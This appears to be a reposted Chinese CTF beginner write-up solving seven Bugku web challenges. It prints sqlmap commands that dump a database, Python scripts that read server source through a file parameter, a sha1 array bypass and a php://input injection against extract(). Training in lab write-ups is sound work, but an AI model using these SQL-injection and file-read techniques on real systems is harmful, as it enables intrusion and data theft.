【CTF web入门第六篇】web入门

admin 2021年6月26日08:41:42评论107 views字数 4604阅读15分20秒阅读模式

bugku-ctf 第一题:成绩单

【CTF web入门第六篇】web入门

http://123.206.87.240:8002/chengjidan/

【CTF web入门第六篇】web入门

猜测应该是考sql注入

先用Burpsuite抓一下数据包吧

【CTF web入门第六篇】web入门

数据包新建成1.txt。放到sqlmap下

使用sqlmap跑注入吧。

然后就是需要了解下sqlmap的使用方式。

sqlmap.py -r 1.txt -p id –current-db

-r –> 加载一个文件 
-p –>指定参数 
–current-db –>获取当前数据库名称(current前有两个-)

【CTF web入门第六篇】web入门

可以看到它的数据库为 ‘skctf_flag’,接着就是爆表 
sqlmap.py -r 1.txt -p id -D skctf_flag --tables 
-D –>指定数据库名称 
–tables –>列出数据库中的表(tables前有两个-) 

【CTF web入门第六篇】web入门

可以看到当前数据库中有两个表,很明显,flag应该在fl4g表中,下面就是该爆出表中的字段了 
sqlmap.py -r 1.txt -p id -D skctf_flag -T fl4g--columns 
-T –>指定表名称 
–columns –>列出表中的字段 

【CTF web入门第六篇】web入门

fl4g表中有一个名为skctf_flag字段,最后列出字段信息就可以啦。 
sqlmap.py -r 1.txt -p id -D skctf_flag -T fl4g -C skctf_flag --dump 
–dump –>列出字段数据(dump前有两个-) 

【CTF web入门第六篇】web入门

得到

BUGKU{Sql_INJECT0N_4813drd8hz4}

 

这个题的知识点sql注入

 

bugku-ctf 第二题:秋名山老司机

【CTF web入门第六篇】web入门

打开连接

【CTF web入门第六篇】web入门

打开链接,让我们在2秒之内计算出一个很复杂的式子的值传进去

 

直接上图一脚本:

import re

import requests

 

s = requests.Session()

r = s.get("http://120.24.86.145:8002/qiumingshan/")

searchObj = re.search(r'^<div>(.*)=?;</div>$', r.text,re.M | re.S)

d = {

    "value":eval(searchObj.group(1))

}

r = s.post("http://120.24.86.145:8002/qiumingshan/", data=d)

print(r.text)

 

import re         # import 是导入模块 相当于就是导入函数库 导入模块过后就可以用相应的模块里的函数  这里的re模块是正则表达式 用于匹配字符串当中的一定字符但是说匹配这里却用来提取字符

 

import requests    #导入requests模块请求模块 这个模块还有很多需要我学习

 

s = requests.Session()  # 用s存session session和cookie 都用于身份识别 session本义为对话 这里我自己暂时理解为 把这次对话保存起来并取名s 相当于记录身份

 

r =s.get("http://120.24.86.145:8002/qiumingshan/")    #用此身份请求并url

 

searchObj =re.search(r'^<div>(.*)=?;</div>$', r.text, re.M | re.S)   #search 是扫描整个字符串并返回成功的匹配值 如果没有匹配则返回none 正则re.search(要匹配的字符,被扫描的字符,功能选择), 这里用这个函数实则是在提取字符,首先看要匹配的字符是这样的  r'^<div>(.*)=?;</div>$',这里的r我实在没有查到是什么意思我看了好几个有些没有这个r,^代表开始,$代表结束,这里则表是从<div>开始到</div>结束,而中间的(.*)这里的.代表任意一个字符加一个*构成.*就多次的任意字符然后?是?有特殊含义需要匹配?要在前面加一个,这里的=?是源代码中本来就有的,这里打括号是进行分组,第一个()就是第一组第二个()就是第二组(这是我自己的理解) ,r'^<div>(.*)=?;</div>$'表示<div></div>中的所有字符,然后再与r.text相匹配,相当于提取,后面我会带上图上面有一些字符的含义与某两个网站,还有分组。

 

d = {

   "value": eval(searchObj.group(1))  #eval函数是计算值

}

r =s.post("http://120.24.86.145:8002/qiumingshan/", data=d)    #post传值

print(r.text)  #输出结果

 

得出flag


bugku-ctf 第三题:速度要快

【CTF web入门第六篇】web入门

【CTF web入门第六篇】web入门

看着毫无思路

查看下源代码吧

【CTF web入门第六篇】web入门

在源代码里有一个提示,说传递margin参数,但是又不知道传什么,在响应头里有个flag,

 

【CTF web入门第六篇】web入门

【CTF web入门第六篇】web入门

应该是base64加密的,然后解密后发现好像还可以再解密一次,让后再此解密,所以就把base64解密的数值传过去试试。但是好像它一直在变,让后就要写脚本自动传递,我也不知道为啥。写脚本和一直变又什么联系吗,但还是写了一个,试了试。

# coding:utf-8

import requests

import base64

url="http://123.206.87.240:8002/web6/"

s=requests.Session()

head=s.get(url).headers

flag=base64.b64decode(head["flag"])

flag=flag.decode()

key=base64.b64decode(flag.split(":")[1])

payload={"margin":key}

print(s.post(url,data=payload).text)

 

知识点

  • requests获取页面信息、头信息以及提交Post

  • 抓包

  • Base64编码特点

 

bugku-ctf 第四题:cookies欺骗

【CTF web入门第六篇】web入门

【CTF web入门第六篇】web入门

打开链接是一串没有意义的字符串,查看源码没有发现什么

观察url ,发现a2V5cy50eHQ= 是一个base64编码,解码后是keys.txt

尝试用 filename访问index.php(原url使用base64,这也将index.php进行编码),line参数应该是行数,试一下 line=2

出现一行代码,试一下line=3显示了不同的代码

【CTF web入门第六篇】web入门

一个个试太麻烦,上脚本将index.php的源码读取出来

 

import requests

a=30

for i in range(a):

   url="http://120.24.86.145:8002/web11/index.php?line="+str(i)+"&filename=aW5kZXgucGhw"

   s=requests.get(url)

   print s.text

 

 

最后读取出来的源码

【CTF web入门第六篇】web入门

分析源码,前面判断传参,后面判断cookie必须满足margin=margin才能访问keys.php,别忘了编码

keys.php编码是a2V5cy5waHA=

【CTF web入门第六篇】web入门

得到

 

KEY{key_keys}

 

bugku-ctf 第五题:never give up

【CTF web入门第六篇】web入门

【CTF web入门第六篇】web入门

打开链接显示一串字符,右键查看源码,发现1p.html

【CTF web入门第六篇】web入门

访问 1p.html ,发现页面自动跳转到  http://www.bugku.com/

应该是有 window.location.href 之类的重定向,那就直接查看1p.html的源码,在链接前面加view-source:

view-source:http://120.24.86.145:8006/test/1p.html

 

【CTF web入门第六篇】web入门

有发现!根据%3C来看Words变量应该是url编码

【CTF web入门第六篇】web入门

解码后发现 注释部分还进行了base64编码

【CTF web入门第六篇】web入门

继续base64解码后

【CTF web入门第六篇】web入门


终于出来了,来分析代码

stripos(字符串a,字符串b) 函数查找字符串b在字符串a中第一次出现的位置(不区分大小写)。

file_get_contents 将整个文件读入一个字符串

strlen() 函数返回字符串的长度

substr() 函数返回字符串的一部分。substr(string,start,length) ,length参数可选。如  substr($b,0,1)  就是在参数b里面 ,从0开始返回1个长度的字符串

 

eregi("111".substr($b,0,1),"1114")    就是判断"1114"这个字符串里面是否有符合"111".substr($b,0,1)这个规则的

 

总的来说,如果a参数传入文件内有"bugku is a nice plateform!"字符串,并且id参数为0 , b参数长度大于5,"1114"这个字符串里面是否有符合"111".substr($b,0,1)这个规则的,substr($b,0,1)不能等于4   以上这些条件都满足,就请求f4l2a3g.txt

 

:)这么麻烦,那就先试试能不能直接访问 f4l2a3g.txt 吧

 

可以访问,flag我看到你了!


【CTF web入门第六篇】web入门

得到

flag{tHis_iS_THe_fLaG}


以上五题主要涉及到的技术点:SQL注入以及sqlmap工具使用、python脚本的编写、burpsuite抓包改包的使用、代码分析、url编码与解码、base64的编码与解码。



bugku-ctf 第六题:各种绕过

【CTF web入门第六篇】web入门

打开看看

【CTF web入门第六篇】web入门

阅读代码 发现

只要使uname的sha1的值与passwd的sha1的值相等即可,但是同时他们两个的值又不能相等

构造

 

 http://123.206.87.240:8002/web7/?uname[]=1&id=margin  并发送  passwd[]=2 的postdata 请求即可

依旧利用简单 有特别 好安装的  火狐 插件 hackbar 

【CTF web入门第六篇】web入门

得到

Flag: flag{HACK_45hhs_213sDD}

 

本题注意点:

1. get方式提交uname 和 id 值,post方式提交passwd值

2. uname和passwd的哈希值相同

3. id == “margin”

解决

1 get和post提交,方式1:火狐的HackBar,方式:python程序。。。

2 把uname和passwd定义成数组,数组的哈希值相同

3 url传入时,令id=margin

 

 

bugku-ctf 第七题:web8(txt????)

【CTF web入门第六篇】web入门

http://123.206.87.240:8002/web8/

【CTF web入门第六篇】web入门

本题要点:php代码审计、php://input

 

打开地址,看到这样的代码

 

<?php

extract($_GET);

if (!empty($ac))

{

$f = trim(file_get_contents($fn));

if ($ac === $f)

{

echo "<p>This is flag:" ." $flag</p>";

}

else

{

echo "<p>sorry!</p>";

}

}

?>

 

分析代码:

extract($_GET):函数extract()有通过数组进行赋值的功能:

file_get_contents($fn):file_get_contents功能是从文件名为“$fn”的文件中读取数据,但是当$fn的值为“php://input”,它会接受并返回post的值

 

构造

index.php?ac=text&fn=php://input

【CTF web入门第六篇】web入门

得到

flag{3cfb7a90fc0de31}


本文始发于微信公众号(LemonSec):【CTF web入门第六篇】web入门

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年6月26日08:41:42
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【CTF web入门第六篇】web入门http://cn-sec.com/archives/301331.html

发表评论

匿名网友 填写信息